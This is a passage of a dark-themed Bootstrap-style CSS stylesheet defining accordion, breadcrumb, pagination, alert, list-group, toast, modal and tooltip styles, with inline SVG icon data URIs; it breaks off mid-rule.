var(--bs-accordion-active-color); */ background-color: var(--bs-accordion-active-bg); box-shadow: inset 0 calc(-1 * var(--bs-accordion-border-width)) 0 var(--bs-accordion-border-color); } .accordion-button:not(.collapsed)::after { background-image: var(--bs-accordion-btn-active-icon); transform: var(--bs-accordion-btn-icon-transform); } .accordion-button::after { flex-shrink: 0; width: var(--bs-accordion-btn-icon-width); height: var(--bs-accordion-btn-icon-width); margin-left: auto; content: ""; background-image: var(--bs-accordion-btn-icon); background-repeat: no-repeat; background-size: var(--bs-accordion-btn-icon-width); transition: var(--bs-accordion-btn-icon-transition); } @media (prefers-reduced-motion: reduce) { .accordion-button::after { transition: none; } } .accordion-button:hover { z-index: 2; } .accordion-button:focus { z-index: 3; border-color: var(--bs-accordion-btn-focus-border-color); outline: 0; box-shadow: var(--bs-accordion-btn-focus-box-shadow); } .accordion-header { margin-bottom: 0; } .accordion-item { color: var(--bs-accordion-color); background-color: var(--bs-accordion-bg); border: var(--bs-accordion-border-width) solid var(--bs-accordion-border-color); } .accordion-item:first-of-type { border-top-left-radius: var(--bs-accordion-border-radius); border-top-right-radius: var(--bs-accordion-border-radius); } .accordion-item:first-of-type .accordion-button { border-top-left-radius: var(--bs-accordion-inner-border-radius); border-top-right-radius: var(--bs-accordion-inner-border-radius); } .accordion-item:not(:first-of-type) { border-top: 0; } .accordion-item:last-of-type { border-bottom-right-radius: var(--bs-accordion-border-radius); border-bottom-left-radius: var(--bs-accordion-border-radius); } .accordion-item:last-of-type .accordion-button.collapsed { border-bottom-right-radius: var(--bs-accordion-inner-border-radius); border-bottom-left-radius: var(--bs-accordion-inner-border-radius); } .accordion-item:last-of-type .accordion-collapse { border-bottom-right-radius: var(--bs-accordion-border-radius); border-bottom-left-radius: var(--bs-accordion-border-radius); } .accordion-body { padding: var(--bs-accordion-body-padding-y) var(--bs-accordion-body-padding-x); } .accordion-flush .accordion-collapse { border-width: 0; } .accordion-flush .accordion-item { border-right: 0; border-left: 0; border-radius: 0; } .accordion-flush .accordion-item:first-child { border-top: 0; } .accordion-flush .accordion-item:last-child { border-bottom: 0; } .accordion-flush .accordion-item .accordion-button, .accordion-flush .accordion-item .accordion-button.collapsed { border-radius: 0; } .breadcrumb { --bs-breadcrumb-padding-x: 0; --bs-breadcrumb-padding-y: 0; --bs-breadcrumb-margin-bottom: 1rem; --bs-breadcrumb-bg: ; --bs-breadcrumb-border-radius:; --bs-breadcrumb-divider-color: #6c757d; --bs-breadcrumb-item-padding-x: 0.5rem; --bs-breadcrumb-item-active-color: #6c757d; display: flex; flex-wrap: wrap; padding: var(--bs-breadcrumb-padding-y) var(--bs-breadcrumb-padding-x); margin-bottom: var(--bs-breadcrumb-margin-bottom); font-size: var(--bs-breadcrumb-font-size); list-style: none; background-color: var(--bs-breadcrumb-bg); border-radius: var(--bs-breadcrumb-border-radius); } .breadcrumb-item + .breadcrumb-item { padding-left: var(--bs-breadcrumb-item-padding-x); } .breadcrumb-item + .breadcrumb-item::before { float: left; padding-right: var(--bs-breadcrumb-item-padding-x); color: var(--bs-breadcrumb-divider-color); content: var(--bs-breadcrumb-divider, url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24' width='14' height='14' stroke='%236c757d' stroke-width='2' fill='none' stroke-linecap='round' stroke-linejoin='round' class='css-i6dzq1'%3E%3Cpolyline points='9 18 15 12 9 6'%3E%3C/polyline%3E%3C/svg%3E")) /* rtl: var(--bs-breadcrumb-divider, url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24' width='14' height='14' stroke='%236c757d' stroke-width='2' fill='none' stroke-linecap='round' stroke-linejoin='round' class='css-i6dzq1'%3E%3Cpolyline points='9 18 15 12 9 6'%3E%3C/polyline%3E%3C/svg%3E")) */; } .breadcrumb-item.active { color: var(--bs-breadcrumb-item-active-color); } .pagination { --bs-pagination-padding-x: 0.75rem; --bs-pagination-padding-y: 0.375rem; --bs-pagination-font-size: 1rem; --bs-pagination-color: #51459d; --bs-pagination-bg: #1c232f; --bs-pagination-border-width: 1px; --bs-pagination-border-color: #3E3F4A; --bs-pagination-border-radius: 10px; --bs-pagination-hover-color: #51459d; --bs-pagination-hover-bg: #1c232f; --bs-pagination-hover-border-color: #3E3F4A; --bs-pagination-focus-color: #51459d; --bs-pagination-focus-bg: #e9ecef; --bs-pagination-focus-box-shadow: 0 0 0 0.2rem rgba(81, 69, 157, 0.25); --bs-pagination-active-color: #ffffff; --bs-pagination-active-bg: #51459d; --bs-pagination-active-border-color: #51459d; --bs-pagination-disabled-color: #6c757d; --bs-pagination-disabled-bg: #1c232f; --bs-pagination-disabled-border-color: #3E3F4A; display: flex; padding-left: 0; list-style: none; } .page-link { position: relative; display: block; padding: var(--bs-pagination-padding-y) var(--bs-pagination-padding-x); font-size: var(--bs-pagination-font-size); color: var(--bs-pagination-color); background-color: var(--bs-pagination-bg); border: var(--bs-pagination-border-width) solid var(--bs-pagination-border-color); transition: color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out; } @media (prefers-reduced-motion: reduce) { .page-link { transition: none; } } .page-link:hover { z-index: 2; color: var(--bs-pagination-hover-color); text-decoration: none; background-color: var(--bs-pagination-hover-bg); border-color: var(--bs-pagination-hover-border-color); } .page-link:focus { z-index: 3; color: var(--bs-pagination-focus-color); background-color: var(--bs-pagination-focus-bg); outline: 0; box-shadow: var(--bs-pagination-focus-box-shadow); } .page-link.active, .active > .page-link { z-index: 3; color: var(--bs-pagination-active-color); background-color: var(--bs-pagination-active-bg); border-color: var(--bs-pagination-active-border-color); } .page-link.disabled, .disabled > .page-link { color: var(--bs-pagination-disabled-color); pointer-events: none; background-color: var(--bs-pagination-disabled-bg); border-color: var(--bs-pagination-disabled-border-color); } .page-item:not(:first-child) .page-link { margin-left: -1px; } .page-item:first-child .page-link { border-top-left-radius: var(--bs-pagination-border-radius); border-bottom-left-radius: var(--bs-pagination-border-radius); } .page-item:last-child .page-link { border-top-right-radius: var(--bs-pagination-border-radius); border-bottom-right-radius: var(--bs-pagination-border-radius); } .pagination-lg { --bs-pagination-padding-x: 1.5rem; --bs-pagination-padding-y: 0.75rem; --bs-pagination-font-size: 1.09375rem; --bs-pagination-border-radius: 15px; } .pagination-sm { --bs-pagination-padding-x: 0.5rem; --bs-pagination-padding-y: 0.25rem; --bs-pagination-font-size: 0.76563rem; --bs-pagination-border-radius: 8px; } .badge { --bs-badge-padding-x: 0.5em; --bs-badge-padding-y: 0.35em; --bs-badge-font-size: 0.75em; --bs-badge-font-weight: 500; --bs-badge-color: #ffffff; --bs-badge-border-radius: 2px; display: inline-block; padding: var(--bs-badge-padding-y) var(--bs-badge-padding-x); font-size: var(--bs-badge-font-size); font-weight: var(--bs-badge-font-weight); line-height: 1; color: var(--bs-badge-color); text-align: center; white-space: nowrap; vertical-align: baseline; border-radius: var(--bs-badge-border-radius); } .badge:empty { display: none; } .btn .badge { position: relative; top: -1px; } .alert { --bs-alert-bg: transparent; --bs-alert-padding-x: 1.25rem; --bs-alert-padding-y: 0.75rem; --bs-alert-margin-bottom: 1rem; --bs-alert-color: inherit; --bs-alert-border-color: transparent; --bs-alert-border: 1px solid var(--bs-alert-border-color); --bs-alert-border-radius: 10px; position: relative; padding: var(--bs-alert-padding-y) var(--bs-alert-padding-x); margin-bottom: var(--bs-alert-margin-bottom); color: var(--bs-alert-color); background-color: var(--bs-alert-bg); border: var(--bs-alert-border); border-radius: var(--bs-alert-border-radius); } .alert-heading { color: inherit; } .alert-link { font-weight: 700; } .alert-dismissible { padding-right: 3.75rem; } .alert-dismissible .btn-close { position: absolute; top: 0; right: 0; z-index: 2; padding: 0.9375rem 1.25rem; } .alert-primary { --bs-alert-color: #31295e; --bs-alert-bg: #dcdaeb; --bs-alert-border-color: #cbc7e2; } .alert-primary .alert-link { color: #27214b; } .alert-secondary { --bs-alert-color: #41464b; --bs-alert-bg: #e2e3e5; --bs-alert-border-color: #d3d6d8; } .alert-secondary .alert-link { color: #34383c; } .alert-success { --bs-alert-color: #438228; --bs-alert-bg: #e2f7d9; --bs-alert-border-color: #d4f4c7; } .alert-success .alert-link { color: #366820; } .alert-info { --bs-alert-color: #257980; --bs-alert-bg: #d8f4f7; --bs-alert-border-color: #c5eff3; } .alert-info .alert-link { color: #1e6166; } .alert-warning { --bs-alert-color: #996111; --bs-alert-bg: #ffecd2; --bs-alert-border-color: #ffe3bb; } .alert-warning .alert-link { color: #7a4e0e; } .alert-danger { --bs-alert-color: #992342; --bs-alert-bg: #ffd8e2; --bs-alert-border-color: #ffc4d4; } .alert-danger .alert-link { color: #7a1c35; } .alert-light { --bs-alert-color: #959596; --bs-alert-bg: #fefefe; --bs-alert-border-color: #fdfdfe; } .alert-light .alert-link { color: #777778; } .alert-dark { --bs-alert-color: #11151c; --bs-alert-bg: #d2d3d5; --bs-alert-border-color: #bbbdc1; } .alert-dark .alert-link { color: #0e1116; } @keyframes progress-bar-stripes { 0% { background-position-x: 1rem; } } .progress { --bs-progress-height: 1rem; --bs-progress-font-size: 0.65625rem; --bs-progress-bg: #22242c; --bs-progress-border-radius: 10px; --bs-progress-box-shadow: inset 0 0.1rem 0.1rem rgba(0, 0, 0, 0.1); --bs-progress-bar-color: #ffffff; --bs-progress-bar-bg: #51459d; --bs-progress-bar-transition: width 0.6s ease; display: flex; height: var(--bs-progress-height); overflow: hidden; font-size: var(--bs-progress-font-size); background-color: var(--bs-progress-bg); border-radius: var(--bs-progress-border-radius); } .progress-bar { display: flex; flex-direction: column; justify-content: center; overflow: hidden; color: var(--bs-progress-bar-color); text-align: center; white-space: nowrap; background-color: var(--bs-progress-bar-bg); transition: var(--bs-progress-bar-transition); } @media (prefers-reduced-motion: reduce) { .progress-bar { transition: none; } } .progress-bar-striped { background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); background-size: var(--bs-progress-height) var(--bs-progress-height); } .progress-bar-animated { animation: 1s linear infinite progress-bar-stripes; } @media (prefers-reduced-motion: reduce) { .progress-bar-animated { animation: none; } } .list-group { --bs-list-group-color: #808191; --bs-list-group-bg: #292A33; --bs-list-group-border-color: rgba(0, 0, 0, 0.125); --bs-list-group-border-width: 1px; --bs-list-group-border-radius: 10px; --bs-list-group-item-padding-x: 25px; --bs-list-group-item-padding-y: 16.66667px; --bs-list-group-action-color: #808191; --bs-list-group-action-hover-color: #808191; --bs-list-group-action-hover-bg: #22232b; --bs-list-group-action-active-color: #808191; --bs-list-group-action-active-bg: #22232b; --bs-list-group-disabled-color: #808191; --bs-list-group-disabled-bg: #292A33; --bs-list-group-active-color: #ffffff; --bs-list-group-active-bg: #22232b; --bs-list-group-active-border-color: #22232b; display: flex; flex-direction: column; padding-left: 0; margin-bottom: 0; border-radius: var(--bs-list-group-border-radius); } .list-group-numbered { list-style-type: none; counter-reset: section; } .list-group-numbered > .list-group-item::before { content: counters(section, ".") ". "; counter-increment: section; } .list-group-item-action { width: 100%; color: var(--bs-list-group-action-color); text-align: inherit; } .list-group-item-action:hover, .list-group-item-action:focus { z-index: 1; color: var(--bs-list-group-action-hover-color); text-decoration: none; background-color: var(--bs-list-group-action-hover-bg); } .list-group-item-action:active { color: var(--bs-list-group-action-active-color); background-color: var(--bs-list-group-action-active-bg); } .list-group-item { position: relative; display: block; padding: var(--bs-list-group-item-padding-y) var(--bs-list-group-item-padding-x); color: var(--bs-list-group-color); background-color: var(--bs-list-group-bg); border: var(--bs-list-group-border-width) solid var(--bs-list-group-border-color); } .list-group-item:first-child { border-top-left-radius: inherit; border-top-right-radius: inherit; } .list-group-item:last-child { border-bottom-right-radius: inherit; border-bottom-left-radius: inherit; } .list-group-item.disabled, .list-group-item:disabled { color: var(--bs-list-group-disabled-color); pointer-events: none; background-color: var(--bs-list-group-disabled-bg); } .list-group-item.active { z-index: 2; color: var(--bs-list-group-active-color); background-color: var(--bs-list-group-active-bg); border-color: var(--bs-list-group-active-border-color); } .list-group-item + .list-group-item { border-top-width: 0; } .list-group-item + .list-group-item.active { margin-top: calc(-1 * var(--bs-list-group-border-width)); border-top-width: var(--bs-list-group-border-width); } .list-group-horizontal { flex-direction: row; } .list-group-horizontal > .list-group-item:first-child:not(:last-child) { border-bottom-left-radius: var(--bs-list-group-border-radius); border-top-right-radius: 0; } .list-group-horizontal > .list-group-item:last-child:not(:first-child) { border-top-right-radius: var(--bs-list-group-border-radius); border-bottom-left-radius: 0; } .list-group-horizontal > .list-group-item.active { margin-top: 0; } .list-group-horizontal > .list-group-item + .list-group-item { border-top-width: var(--bs-list-group-border-width); border-left-width: 0; } .list-group-horizontal > .list-group-item + .list-group-item.active { margin-left: calc(-1 * var(--bs-list-group-border-width)); border-left-width: var(--bs-list-group-border-width); } @media (min-width: 576px) { .list-group-horizontal-sm { flex-direction: row; } .list-group-horizontal-sm > .list-group-item:first-child:not(:last-child) { border-bottom-left-radius: var(--bs-list-group-border-radius); border-top-right-radius: 0; } .list-group-horizontal-sm > .list-group-item:last-child:not(:first-child) { border-top-right-radius: var(--bs-list-group-border-radius); border-bottom-left-radius: 0; } .list-group-horizontal-sm > .list-group-item.active { margin-top: 0; } .list-group-horizontal-sm > .list-group-item + .list-group-item { border-top-width: var(--bs-list-group-border-width); border-left-width: 0; } .list-group-horizontal-sm > .list-group-item + .list-group-item.active { margin-left: calc(-1 * var(--bs-list-group-border-width)); border-left-width: var(--bs-list-group-border-width); } } @media (min-width: 768px) { .list-group-horizontal-md { flex-direction: row; } .list-group-horizontal-md > .list-group-item:first-child:not(:last-child) { border-bottom-left-radius: var(--bs-list-group-border-radius); border-top-right-radius: 0; } .list-group-horizontal-md > .list-group-item:last-child:not(:first-child) { border-top-right-radius: var(--bs-list-group-border-radius); border-bottom-left-radius: 0; } .list-group-horizontal-md > .list-group-item.active { margin-top: 0; } .list-group-horizontal-md > .list-group-item + .list-group-item { border-top-width: var(--bs-list-group-border-width); border-left-width: 0; } .list-group-horizontal-md > .list-group-item + .list-group-item.active { margin-left: calc(-1 * var(--bs-list-group-border-width)); border-left-width: var(--bs-list-group-border-width); } } @media (min-width: 992px) { .list-group-horizontal-lg { flex-direction: row; } .list-group-horizontal-lg > .list-group-item:first-child:not(:last-child) { border-bottom-left-radius: var(--bs-list-group-border-radius); border-top-right-radius: 0; } .list-group-horizontal-lg > .list-group-item:last-child:not(:first-child) { border-top-right-radius: var(--bs-list-group-border-radius); border-bottom-left-radius: 0; } .list-group-horizontal-lg > .list-group-item.active { margin-top: 0; } .list-group-horizontal-lg > .list-group-item + .list-group-item { border-top-width: var(--bs-list-group-border-width); border-left-width: 0; } .list-group-horizontal-lg > .list-group-item + .list-group-item.active { margin-left: calc(-1 * var(--bs-list-group-border-width)); border-left-width: var(--bs-list-group-border-width); } } @media (min-width: 1200px) { .list-group-horizontal-xl { flex-direction: row; } .list-group-horizontal-xl > .list-group-item:first-child:not(:last-child) { border-bottom-left-radius: var(--bs-list-group-border-radius); border-top-right-radius: 0; } .list-group-horizontal-xl > .list-group-item:last-child:not(:first-child) { border-top-right-radius: var(--bs-list-group-border-radius); border-bottom-left-radius: 0; } .list-group-horizontal-xl > .list-group-item.active { margin-top: 0; } .list-group-horizontal-xl > .list-group-item + .list-group-item { border-top-width: var(--bs-list-group-border-width); border-left-width: 0; } .list-group-horizontal-xl > .list-group-item + .list-group-item.active { margin-left: calc(-1 * var(--bs-list-group-border-width)); border-left-width: var(--bs-list-group-border-width); } } @media (min-width: 1400px) { .list-group-horizontal-xxl { flex-direction: row; } .list-group-horizontal-xxl > .list-group-item:first-child:not(:last-child) { border-bottom-left-radius: var(--bs-list-group-border-radius); border-top-right-radius: 0; } .list-group-horizontal-xxl > .list-group-item:last-child:not(:first-child) { border-top-right-radius: var(--bs-list-group-border-radius); border-bottom-left-radius: 0; } .list-group-horizontal-xxl > .list-group-item.active { margin-top: 0; } .list-group-horizontal-xxl > .list-group-item + .list-group-item { border-top-width: var(--bs-list-group-border-width); border-left-width: 0; } .list-group-horizontal-xxl > .list-group-item + .list-group-item.active { margin-left: calc(-1 * var(--bs-list-group-border-width)); border-left-width: var(--bs-list-group-border-width); } } .list-group-flush { border-radius: 0; } .list-group-flush > .list-group-item { border-width: 0 0 var(--bs-list-group-border-width); } .list-group-flush > .list-group-item:last-child { border-bottom-width: 0; } .list-group-item-primary { color: #31295e; background-color: #dcdaeb; } .list-group-item-primary.list-group-item-action:hover, .list-group-item-primary.list-group-item-action:focus { color: #31295e; background-color: #c6c4d4; } .list-group-item-primary.list-group-item-action.active { color: #ffffff; background-color: #31295e; border-color: #31295e; } .list-group-item-secondary { color: #41464b; background-color: #e2e3e5; } .list-group-item-secondary.list-group-item-action:hover, .list-group-item-secondary.list-group-item-action:focus { color: #41464b; background-color: #cbccce; } .list-group-item-secondary.list-group-item-action.active { color: #ffffff; background-color: #41464b; border-color: #41464b; } .list-group-item-success { color: #438228; background-color: #e2f7d9; } .list-group-item-success.list-group-item-action:hover, .list-group-item-success.list-group-item-action:focus { color: #438228; background-color: #cbdec3; } .list-group-item-success.list-group-item-action.active { color: #ffffff; background-color: #438228; border-color: #438228; } .list-group-item-info { color: #257980; background-color: #d8f4f7; } .list-group-item-info.list-group-item-action:hover, .list-group-item-info.list-group-item-action:focus { color: #257980; background-color: #c2dcde; } .list-group-item-info.list-group-item-action.active { color: #ffffff; background-color: #257980; border-color: #257980; } .list-group-item-warning { color: #996111; background-color: #ffecd2; } .list-group-item-warning.list-group-item-action:hover, .list-group-item-warning.list-group-item-action:focus { color: #996111; background-color: #e6d4bd; } .list-group-item-warning.list-group-item-action.active { color: #ffffff; background-color: #996111; border-color: #996111; } .list-group-item-danger { color: #992342; background-color: #ffd8e2; } .list-group-item-danger.list-group-item-action:hover, .list-group-item-danger.list-group-item-action:focus { color: #992342; background-color: #e6c2cb; } .list-group-item-danger.list-group-item-action.active { color: #ffffff; background-color: #992342; border-color: #992342; } .list-group-item-light { color: #959596; background-color: #fefefe; } .list-group-item-light.list-group-item-action:hover, .list-group-item-light.list-group-item-action:focus { color: #959596; background-color: #e5e5e5; } .list-group-item-light.list-group-item-action.active { color: #ffffff; background-color: #959596; border-color: #959596; } .list-group-item-dark { color: #11151c; background-color: #d2d3d5; } .list-group-item-dark.list-group-item-action:hover, .list-group-item-dark.list-group-item-action:focus { color: #11151c; background-color: #bdbec0; } .list-group-item-dark.list-group-item-action.active { color: #ffffff; background-color: #11151c; border-color: #11151c; } .btn-close { box-sizing: content-box; width: 1em; height: 1em; padding: 0.25em 0.25em; color: #ffffff; background: transparent url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' fill='%23ffffff' viewBox='0 0 16 16'%3e%3cpath d='M.293.293a1 1 0 011.414 0L8 6.586 14.293.293a1 1 0 111.414 1.414L9.414 8l6.293 6.293a1 1 0 01-1.414 1.414L8 9.414l-6.293 6.293a1 1 0 01-1.414-1.414L6.586 8 .293 1.707a1 1 0 010-1.414z'/%3e%3c/svg%3e") center/1em auto no-repeat; border: 0; border-radius: 10px; opacity: 0.5; } .btn-close:hover { color: #ffffff; text-decoration: none; opacity: 0.75; } .btn-close:focus { outline: 0; box-shadow: 0 0 0 0.2rem rgba(81, 69, 157, 0.25); opacity: 1; } .btn-close:disabled, .btn-close.disabled { pointer-events: none; -webkit-user-select: none; -moz-user-select: none; user-select: none; opacity: 0.25; } .btn-close-white { filter: invert(1) grayscale(100%) brightness(200%); } .toast { --bs-toast-zindex: 1090; --bs-toast-padding-x: 0.75rem; --bs-toast-padding-y: 0.25rem; --bs-toast-spacing: 1.5rem; --bs-toast-max-width: 350px; --bs-toast-font-size: 0.875rem; --bs-toast-color: ; --bs-toast-bg: rgba(255, 255, 255, 0.85); --bs-toast-border-width: 1px; --bs-toast-border-color: rgba(0, 0, 0, 0.1); --bs-toast-border-radius: 0.25rem; --bs-toast-box-shadow: 0 0.25rem 0.75rem rgba(0, 0, 0, 0.1); --bs-toast-header-color: #6c757d; --bs-toast-header-bg: rgba(255, 255, 255, 0.85); --bs-toast-header-border-color: rgba(0, 0, 0, 0.05); width: var(--bs-toast-max-width); max-width: 100%; font-size: var(--bs-toast-font-size); color: var(--bs-toast-color); pointer-events: auto; background-color: var(--bs-toast-bg); background-clip: padding-box; border: var(--bs-toast-border-width) solid var(--bs-toast-border-color); box-shadow: var(--bs-toast-box-shadow); border-radius: var(--bs-toast-border-radius); } .toast.showing { opacity: 0; } .toast:not(.show) { display: none; } .toast-container { --bs-toast-zindex: 1090; position: absolute; z-index: var(--bs-toast-zindex); width: -moz-max-content; width: max-content; max-width: 100%; pointer-events: none; } .toast-container > :not(:last-child) { margin-bottom: var(--bs-toast-spacing); } .toast-header { display: flex; align-items: center; padding: var(--bs-toast-padding-y) var(--bs-toast-padding-x); color: var(--bs-toast-header-color); background-color: var(--bs-toast-header-bg); background-clip: padding-box; border-bottom: var(--bs-toast-border-width) solid var(--bs-toast-header-border-color); border-top-left-radius: calc(var(--bs-toast-border-radius) - var(--bs-toast-border-width)); border-top-right-radius: calc(var(--bs-toast-border-radius) - var(--bs-toast-border-width)); } .toast-header .btn-close { margin-right: calc(-.5 * var(--bs-toast-padding-x)); margin-left: var(--bs-toast-padding-x); } .toast-body { padding: var(--bs-toast-padding-x); word-wrap: break-word; } .modal { --bs-modal-zindex: 1055; --bs-modal-width: 500px; --bs-modal-padding: 1.25rem; --bs-modal-margin: 0.5rem; --bs-modal-color: ; --bs-modal-bg: #292A33; --bs-modal-border-color: rgba(0, 0, 0, 0.2); --bs-modal-border-width: 1px; --bs-modal-border-radius: 15px; --bs-modal-box-shadow: 0 0.25rem 0.5rem rgba(0, 0, 0, 0.5); --bs-modal-inner-border-radius: 14px; --bs-modal-header-padding-x: 1.5625rem; --bs-modal-header-padding-y: 1.25rem; --bs-modal-header-padding: 1.25rem 1.5625rem; --bs-modal-header-border-color: #3E3F4A; --bs-modal-header-border-width: 1px; --bs-modal-title-line-height: 1.5; --bs-modal-footer-gap: 0.5rem; --bs-modal-footer-bg: ; --bs-modal-footer-border-color: #3E3F4A; --bs-modal-footer-border-width: 1px; position: fixed; top: 0; left: 0; z-index: var(--bs-modal-zindex); display: none; width: 100%; height: 100%; overflow-x: hidden; overflow-y: auto; outline: 0; } .modal-dialog { position: relative; width: auto; margin: var(--bs-modal-margin); pointer-events: none; } .modal.fade .modal-dialog { transition: transform 0.3s ease-out; transform: translate(0, -50px); } @media (prefers-reduced-motion: reduce) { .modal.fade .modal-dialog { transition: none; } } .modal.show .modal-dialog { transform: none; } .modal.modal-static .modal-dialog { transform: scale(1.02); } .modal-dialog-scrollable { height: calc(100% - var(--bs-modal-margin) * 2); } .modal-dialog-scrollable .modal-content { max-height: 100%; overflow: hidden; } .modal-dialog-scrollable .modal-body { overflow-y: auto; } .modal-dialog-centered { display: flex; align-items: center; min-height: calc(100% - var(--bs-modal-margin) * 2); } .modal-content { position: relative; display: flex; flex-direction: column; width: 100%; color: var(--bs-modal-color); pointer-events: auto; background-color: var(--bs-modal-bg); background-clip: padding-box; border: var(--bs-modal-border-width) solid var(--bs-modal-border-color); border-radius: var(--bs-modal-border-radius); outline: 0; } .modal-backdrop { --bs-backdrop-zindex: 1050; --bs-backdrop-bg: #000000; --bs-backdrop-opacity: 0.5; position: fixed; top: 0; left: 0; z-index: var(--bs-backdrop-zindex); width: 100vw; height: 100vh; background-color: var(--bs-backdrop-bg); } .modal-backdrop.fade { opacity: 0; } .modal-backdrop.show { opacity: var(--bs-backdrop-opacity); } .modal-header { display: flex; flex-shrink: 0; align-items: center; justify-content: space-between; padding: var(--bs-modal-header-padding); border-bottom: var(--bs-modal-header-border-width) solid var(--bs-modal-header-border-color); border-top-left-radius: var(--bs-modal-inner-border-radius); border-top-right-radius: var(--bs-modal-inner-border-radius); } .modal-header .btn-close { padding: calc(var(--bs-modal-header-padding-y) * .5) calc(var(--bs-modal-header-padding-x) * .5); margin: calc(-.5 * var(--bs-modal-header-padding-y)) calc(-.5 * var(--bs-modal-header-padding-x)) calc(-.5 * var(--bs-modal-header-padding-y)) auto; } .modal-title { margin-bottom: 0; line-height: var(--bs-modal-title-line-height); } .modal-body { position: relative; flex: 1 1 auto; padding: var(--bs-modal-padding); } .modal-footer { display: flex; flex-shrink: 0; flex-wrap: wrap; align-items: center; justify-content: flex-end; padding: calc(var(--bs-modal-padding) - var(--bs-modal-footer-gap) * .5); background-color: var(--bs-modal-footer-bg); border-top: var(--bs-modal-footer-border-width) solid var(--bs-modal-footer-border-color); border-bottom-right-radius: var(--bs-modal-inner-border-radius); border-bottom-left-radius: var(--bs-modal-inner-border-radius); } .modal-footer > * { margin: calc(var(--bs-modal-footer-gap) * .5); } @media (min-width: 576px) { .modal { --bs-modal-margin: 1.75rem; --bs-modal-box-shadow: 0 0.5rem 1rem rgba(0, 0, 0, 0.5); } .modal-dialog { max-width: var(--bs-modal-width); margin-right: auto; margin-left: auto; } .modal-sm { --bs-modal-width: 300px; } } @media (min-width: 992px) { .modal-lg, .modal-xl { --bs-modal-width: 800px; } } @media (min-width: 1200px) { .modal-xl { --bs-modal-width: 1140px; } } .modal-fullscreen { width: 100vw; max-width: none; height: 100%; margin: 0; } .modal-fullscreen .modal-content { height: 100%; border: 0; border-radius: 0; } .modal-fullscreen .modal-header, .modal-fullscreen .modal-footer { border-radius: 0; } .modal-fullscreen .modal-body { overflow-y: auto; } @media (max-width: 575.98px) { .modal-fullscreen-sm-down { width: 100vw; max-width: none; height: 100%; margin: 0; } .modal-fullscreen-sm-down .modal-content { height: 100%; border: 0; border-radius: 0; } .modal-fullscreen-sm-down .modal-header, .modal-fullscreen-sm-down .modal-footer { border-radius: 0; } .modal-fullscreen-sm-down .modal-body { overflow-y: auto; } } @media (max-width: 767.98px) { .modal-fullscreen-md-down { width: 100vw; max-width: none; height: 100%; margin: 0; } .modal-fullscreen-md-down .modal-content { height: 100%; border: 0; border-radius: 0; } .modal-fullscreen-md-down .modal-header, .modal-fullscreen-md-down .modal-footer { border-radius: 0; } .modal-fullscreen-md-down .modal-body { overflow-y: auto; } } @media (max-width: 991.98px) { .modal-fullscreen-lg-down { width: 100vw; max-width: none; height: 100%; margin: 0; } .modal-fullscreen-lg-down .modal-content { height: 100%; border: 0; border-radius: 0; } .modal-fullscreen-lg-down .modal-header, .modal-fullscreen-lg-down .modal-footer { border-radius: 0; } .modal-fullscreen-lg-down .modal-body { overflow-y: auto; } } @media (max-width: 1199.98px) { .modal-fullscreen-xl-down { width: 100vw; max-width: none; height: 100%; margin: 0; } .modal-fullscreen-xl-down .modal-content { height: 100%; border: 0; border-radius: 0; } .modal-fullscreen-xl-down .modal-header, .modal-fullscreen-xl-down .modal-footer { border-radius: 0; } .modal-fullscreen-xl-down .modal-body { overflow-y: auto; } } @media (max-width: 1399.98px) { .modal-fullscreen-xxl-down { width: 100vw; max-width: none; height: 100%; margin: 0; } .modal-fullscreen-xxl-down .modal-content { height: 100%; border: 0; border-radius: 0; } .modal-fullscreen-xxl-down .modal-header, .modal-fullscreen-xxl-down .modal-footer { border-radius: 0; } .modal-fullscreen-xxl-down .modal-body { overflow-y: auto; } } .tooltip { --bs-tooltip-zindex: 1080; --bs-tooltip-max-width: 200px; --bs-tooltip-padding-x: 0.5rem; --bs-tooltip-padding-y: 0.25rem; --bs-tooltip-margin: 0; --bs-tooltip-font-size: 0.76563rem; --bs-tooltip-color: #ffffff; --bs-tooltip-bg: #000000; --bs-tooltip-border-radius: 10px; --bs-tooltip-opacity: 0.9; --bs-tooltip-arrow-width: 0.8rem; --bs-tooltip-arrow-height: 0.4rem; z-index: var(--bs-tooltip-zindex); display: block; padding: var(--bs-tooltip-arrow-height); margin: var(--bs-tooltip-margin); font-family: var(--bs-font-sans-serif); font-style: normal; font-weight: 400; line-height: 1.5; text-align: left; text-align: start; text-decoration: none; text-shadow: none; text-transform: none; letter-spacing: normal; word-break: normal; white-space: normal; word-spacing: normal; line-break: auto; font-size: var(--bs-tooltip-font-size); word-wrap: break-word; opacity: 0; } .tooltip.show { opacity: var(--bs-tooltip-opacity); } .tooltip .tooltip-arrow { display: block; width: var(--bs-tooltip-arrow-width); height: var(--bs-tooltip-arrow-height); } .tooltip .tooltip-arrow::before { position: absolute; content: ""; border-color: transparent; border-style: solid; } .bs-tooltip-top .tooltip-arrow, .bs-tooltip-auto[data-popper-placement^="top"] .tooltip-arrow { bottom: 0; } .bs-tooltip-top .tooltip-arrow::before, .bs-tooltip-auto[data-popper-placement^="top"] .tooltip-arrow::before { top: -1px; border-width: var(--bs-tooltip-arrow-height) calc(var(--bs-tooltip-arrow-width) * .5) 0; border-top-color: var(--bs-tooltip-bg); } /* rtl:begin:ignore */ .bs-tooltip-end .tooltip-arrow, .bs-tooltip-auto[data-popper-placement^="right"] .tooltip-arrow { left: 0; width: var(--bs-tooltip-arrow-height); height: var(--bs-tooltip-arrow-width); } .bs-tooltip-end .tooltip-arrow::before, .bs-tooltip-auto[data-popper-placement^="right"] .tooltip-arrow::before { right: -1px; border-width: calc(var(--bs-tooltip-arrow-width) * .5) var(--bs-tooltip-arrow-height) calc(var(--bs-tooltip-arrow-width) * .5) 0; border-right-color: var(--bs-tooltip-bg); } /* rtl:end:ignore */ .bs-tooltip-bottom .tooltip-arrow, .bs-tooltip-auto[data-popper-placement^="bottom"] .tooltip-arrow { top: 0; } .bs-tooltip-bottom .tooltip-arrow::before, .bs-tooltip-auto[data-popper-placement^="bottom"] .tooltip-arrow::before { bottom: -1px; border-width: 0 calc(var(--bs-tooltip-arrow-width) * .5) 